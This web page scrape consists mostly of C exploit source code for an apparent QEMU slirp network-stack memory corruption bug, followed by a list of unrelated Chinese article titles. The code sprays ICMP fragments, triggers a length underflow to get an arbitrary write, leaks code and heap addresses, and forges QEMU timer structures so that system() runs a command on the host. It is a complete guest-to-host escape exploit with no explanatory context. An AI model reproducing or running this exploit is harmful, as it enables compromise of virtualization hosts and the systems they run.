}void spray(uint32_t size, u_int32_t count) {printf("[*] Spraying 0x%x x ICMP[0x%x]\n", count, size);for (int i = 0; i < count; i++) {send_icmp(spray_id + i, size, NULL, IP_MF);}
}void arbitrary_write(void *addr, size_t addrlen, char *payload, size_t size, size_t spray_count) {spray(0x8, spray_count);size_t id = spray_id + spray_count;// Targetsize_t target_id = id++;send_ip4(target_id, 0x8, NULL, IP_MF);// Paddingsend_ip4(id++, 0x8, NULL, IP_MF);send_ip4(id++, 0x8, NULL, IP_MF);// Piviot Pointsize_t hole_1 = id++;send_ip4(hole_1, 0x8, NULL, IP_MF);// Paddingsend_ip4(id++, 0xC30, NULL, IP_MF);// For creating holesize_t hole_2 = id++;send_ip4(hole_2, 0x8, NULL, IP_MF);// To  prevent consolidationsend_ip4(id++, 0x8, NULL, IP_MF);// This should create the fist holesend_ip4(hole_1, 0x8, NULL, 0x1);// This should create the second holesend_ip4(hole_2, 0x8, NULL, 0x1);int m_data_off = -0x70;int m_len = m_data_off;addr = (void *) ((size_t) addr - (m_len + addrlen));m_len -= (0x8 - addrlen);size_t vuln_id = id++;char *pkt = calloc(IP_MAXPACKET, 1);memset(pkt, 0x0, IP_MAXPACKET);ethernet_header(pkt);struct iphdr *ip = (struct iphdr *) (pkt + ETH_HDRLEN);u_int16_t pkt_len = 0xc90;ip_header(ip, m_len, 0x0, pkt_len, IPPROTO_ICMP, vuln_id, IP_MF);u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;// The mbuf of this packet will be placed in the second hole and// m_ext buff will be placed on the first hole, We will write wrt// to this.send_pkt(pkt, frame_length);memset(pkt, 0x0, IP_MAXPACKET);ip = (struct iphdr *) (pkt + ETH_HDRLEN);ethernet_header(pkt);pkt_len = 0x8;ip_header(ip, m_len, 0x0, pkt_len, IPPROTO_ICMP, vuln_id, 0xc90 >> 3);frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;// Trigger the bug to change target's m_lensend_pkt(pkt, frame_length);// Underflow and write, to change m_datachar addr_buf[0x8] = {0};memcpy(&addr_buf[(0x8 - addrlen)], (char *) &addr, addrlen);send_ip4(target_id, 0x8, addr_buf, 0x1 | IP_MF);send_ip4(target_id, size, payload, 0x2);hex_dump("[+] write payload", payload, size);
}void recv_leaks() {int fromlen, bytes;struct sockaddr from;char recv_ether_frame[IP_MAXPACKET];struct iphdr *recv_iphdr = (struct iphdr *) (recv_ether_frame + ETH_HDRLEN);struct icmphdr *recv_icmphdr = (struct icmphdr *) (recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);while (1) {memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));fromlen = sizeof(from);memset(&from, 0, fromlen);if ((bytes = recvfrom(recv_socket, recv_ether_frame, IP_MAXPACKET, 0, (struct sockaddr *) &from, (socklen_t *) &fromlen)) < 0) {switch (errno) {case EAGAIN:puts("[-] time out");break;case EINTR:continue;default:die("[-] recvfrom() failed ");}}if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) == ETH_P_IP) &&(recv_iphdr->protocol == IPPROTO_ICMP) &&(recv_icmphdr->type == ICMP_ECHOREPLY) && (recv_icmphdr->code == 0) &&(recv_icmphdr->checksum == 0xffff)) {hex_dump("Recieved ICMP Replay : ", recv_ether_frame, bytes);code_leak = (void *) (*((size_t *) &recv_ether_frame[0x80]) - CPU_UPDATE_STATE);printf("[+] code base: %p\n", code_leak);size_t *ptr = (size_t *) (recv_ether_frame + 0x30);for (int i = 0; i < bytes / 0x8; i++) {if ((ptr[i] & 0xff0000000000) == 0x7f0000000000) {heap_leak = (void *) (ptr[i] & 0xffffff000000);printf("[+] heap base: %p\n", heap_leak);return;}}}}
}void leak() {u_int32_t src_addr, dst_addr;src_addr = inet_addr(SRC_ADDR);dst_addr = inet_addr(DST_ADDR);/* Crafting Fake ICMP Packet For Leak */char *pkt = calloc(IP_MAXPACKET, 1);struct iphdr *ip = (struct iphdr *) (pkt + ETH_HDRLEN);struct icmphdr *icmp = (struct icmphdr *) (pkt + ETH_HDRLEN + IP4_HDRLEN);ethernet_header(pkt);ip_header(ip, src_addr, dst_addr, ICMP_HDRLEN, IPPROTO_ICMP, 0xbabe, IP_MF);ip->tot_len = ntohs(ip->tot_len) - IP4_HDRLEN;ip->id = ntohs(ip->id);ip->frag_off = htons(ip->frag_off);icmp_header(icmp, NULL, 0x0);size_t pkt_len = ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN;spray_id = rand() & 0xffff;arbitrary_write((void *) (0xb00 - 0x20), 3, pkt, pkt_len + 4, 0x100);// This is same as the arbitrary write functionspray_id = rand() & 0xffff;spray(0x8, 0x20);size_t id = spray_id + 0x20;size_t replay_id = id++;send_ip4(replay_id, 0x100, NULL, IP_MF);// Targetsize_t target_id = id++;send_ip4(target_id, 0x8, NULL, IP_MF);// Paddingsend_ip4(id++, 0x8, NULL, IP_MF);send_ip4(id++, 0x8, NULL, IP_MF);// Piviot Pointsize_t hole_1 = id++;send_ip4(hole_1, 0x8, NULL, IP_MF);// Paddingsend_ip4(id++, 0xC30, NULL, IP_MF);// For creating holesize_t hole_2 = id++;send_ip4(hole_2, 0x8, NULL, IP_MF);// Prevent Consolidationsend_ip4(id++, 0x8, NULL, IP_MF);// This should create the fist holesend_ip4(hole_1, 0x8, NULL, 0x1);// This should create the second holesend_ip4(hole_2, 0x8, NULL, 0x1);// Trigger the bug to change target's m_lenint m_data_off = -0xd50;int m_len = m_data_off;size_t *addr = (size_t *) (0xb00 - 0x20 + ETH_HDRLEN + IP4_HDRLEN);size_t addrlen = 0x3;m_len -= (0x8 - addrlen);size_t vuln_id = id++;memset(pkt, 0x0, IP_MAXPACKET);ip = (struct iphdr *) (pkt + ETH_HDRLEN);ethernet_header(pkt);pkt_len = 0xc90;ip_header(ip, m_len, 0x0, pkt_len, IPPROTO_ICMP, vuln_id, IP_MF);u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;send_pkt(pkt, frame_length);memset(pkt, 0x0, IP_MAXPACKET);ip = (struct iphdr *) (pkt + ETH_HDRLEN);ethernet_header(pkt);pkt_len = 0x8;ip_header(ip, m_len, 0x0, pkt_len, IPPROTO_ICMP, vuln_id, 0x192);frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;send_pkt(pkt, frame_length);// Underflow and write to change m_datachar addr_buf[0x8] = {0};memcpy(&addr_buf[(0x8 - addrlen)], (char *) &addr, addrlen);send_ip4(target_id, 0x8, addr_buf, 0x1);if ((recv_socket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)die("[-] socket() failed to obtain a receive socket descriptor");send_ip4(replay_id, 0x8, NULL, 0x20);recv_leaks();
}void pwn() {size_t payload_size = sizeof(struct QEMUTimerList) + sizeof(struct QEMUTimer) + sizeof(cmd);char payload[sizeof(struct QEMUTimerList) + sizeof(struct QEMUTimer) + sizeof(cmd)] = {0};struct QEMUTimerList *tl = (struct QEMUTimerList *) payload;struct QEMUTimer *ts = (struct QEMUTimer *) (payload + sizeof(struct QEMUTimerList));memcpy(payload + sizeof(struct QEMUTimerList) + sizeof(struct QEMUTimer), cmd, sizeof(cmd));void *fake_timer_list = code_leak + FAKE_STRUCT;void *fake_timer = fake_timer_list + sizeof(struct QEMUTimerList);void *system = code_leak + SYSTEM_PLT;void *cmd_addr = fake_timer + sizeof(struct QEMUTimer);/* Fake Timer List */tl->clock = (void *) (code_leak + QEMU_CLOCK);*(size_t *) &tl->active_timers_lock[0x28] = 0x0000000000000001;tl->active_timers = fake_timer;tl->le_next = 0x0;tl->le_prev = 0x0;tl->notify_cb = code_leak + QEMU_TIMER_NOTIFY_CB;tl->notify_opaque = 0x0;tl->timers_done_ev = 0x0000000100000000;/*Fake Timer structure*/ts->timer_list = fake_timer_list;ts->cb = system;ts->opaque = cmd_addr;ts->scale = 1000000;ts->expire_time = -1;spray_id = rand() & 0xffff;printf("Writing fake structure : %p\n", fake_timer_list);arbitrary_write(fake_timer_list, 8, payload, payload_size, 0x20);spray_id = rand() & 0xffff;void *main_loop_tlg = code_leak + MAIN_LOOP_TLG;printf("Overwriting main_loop_tlg %p\n", main_loop_tlg);arbitrary_write(main_loop_tlg, 8, (char *) &fake_timer_list, 8, 0x20);
}int main() {initialize();leak();pwn();return 0;
}

http://www.taodudu.cc/news/show-5435436.html

相关文章:

  • 龙芯LA架构相关的存储管理
  • mybatis-plus(2)
  • 打造安全的 Linux 环境:实用配置指南
  • gin:01-框架安装
  • 自动化工具 Ansible:playbooks 剧本编写
  • 【LeetCode】每日一题:994.腐烂的橘子
  • C++ Primer Plus(第6版) 第3章编程练习
  • 【python-docx 07】使用word样式
  • python读取docx文件,就是如此简单
  • Caused by: java.lang.ClassNotFoundException: freemarker.template.Configuration
  • A component required a bean of type ‘XXX‘ that could not be found 解决办法
  • spring aop 自定义注解配合swagger注解保存操作日志到mysql数据库含(源码)
  • 小而美 | Mac上鲜为人知,但极大提升效率的小工具
  • 防火墙体系结构的组合形式
  • E - B-莲子的机械动力学
  • 需要克服的缺点
  • 高版本springboot整合swagger
  • PHP. 03 .ajax传输XML、 ajax传输json、封装
  • ajax请求php返回xml数据格式,ajax传输的数据格式(XML,json)怎么获取解析
  • JavaScript基础之Ajax总结大全
  • Ajax入门和发送http请求
  • 04-Ajax传输json和XML
  • python网络爬虫——爬虫第三方库的使用(二)
  • ajax使用频率,11-Ajax详解
  • 使用Ajax发送http请求(getpost请求)
  • 人加智能FPGA应用实践-AI快速进化
  • Mac显示证书不受信任或者无效的解决办法
  • Mac | 解决证书不受信任问题
  • Java 解析CA证书 对数据进行签名和验签
  • ca证书 csr_什么是csr证书
  • 招行网银证书不见了
  • 网银的业务学习之道:数字证书的基础知识
  • 网上银行安全证书工作原理
  • 数字证书基础
  • 网上银行数字证书原理
  • 海南农信服务器证书异常,农商银行网银显示服务器没有收到您的证书怎么办